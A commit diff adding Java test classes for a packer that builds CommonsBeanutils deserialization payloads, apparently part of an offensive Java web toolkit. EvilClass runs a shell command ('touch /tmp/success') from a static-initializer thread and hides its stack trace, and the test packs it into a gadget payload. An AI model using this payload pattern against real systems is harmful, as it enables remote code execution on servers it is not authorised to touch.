test: add classes

packer/src/test/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils19PackerTest.java

@@ -0,0 +1,21 @@
+package com.reajason.javaweb.packer.deserialize.java;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import net.bytebuddy.ByteBuddy;
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author ReaJason
+ * @since 2026/1/4
+ */
+class CommonsBeanutils19PackerTest {
+
+    @Test
+    void test(){
+        byte[] bytes = new ByteBuddy().redefine(EvilClass.class).name("hello.world").make().getBytes();
+        ClassPackerConfig classPackerConfig = new ClassPackerConfig();
+        classPackerConfig.setClassBytes(bytes);
+        System.out.println(new CommonsBeanutils19Packer().pack(classPackerConfig));
+    }
+
+}

packer/src/test/java/com/reajason/javaweb/packer/deserialize/java/EvilClass.java

@@ -0,0 +1,25 @@
+package com.reajason.javaweb.packer.deserialize.java;
+
+/**
+ * @author ReaJason
+ * @since 2026/1/4
+ */
+public class EvilClass extends Thread implements Runnable {
+
+    static {
+        new EvilClass().start();
+    }
+
+    @Override
+    public StackTraceElement[] getStackTrace() {
+        return new StackTraceElement[0];
+    }
+
+    @Override
+    public void run() {
+        try {
+            Runtime.getRuntime().exec("touch /tmp/success");
+        } catch (Exception ignored) {
+        }
+    }
+}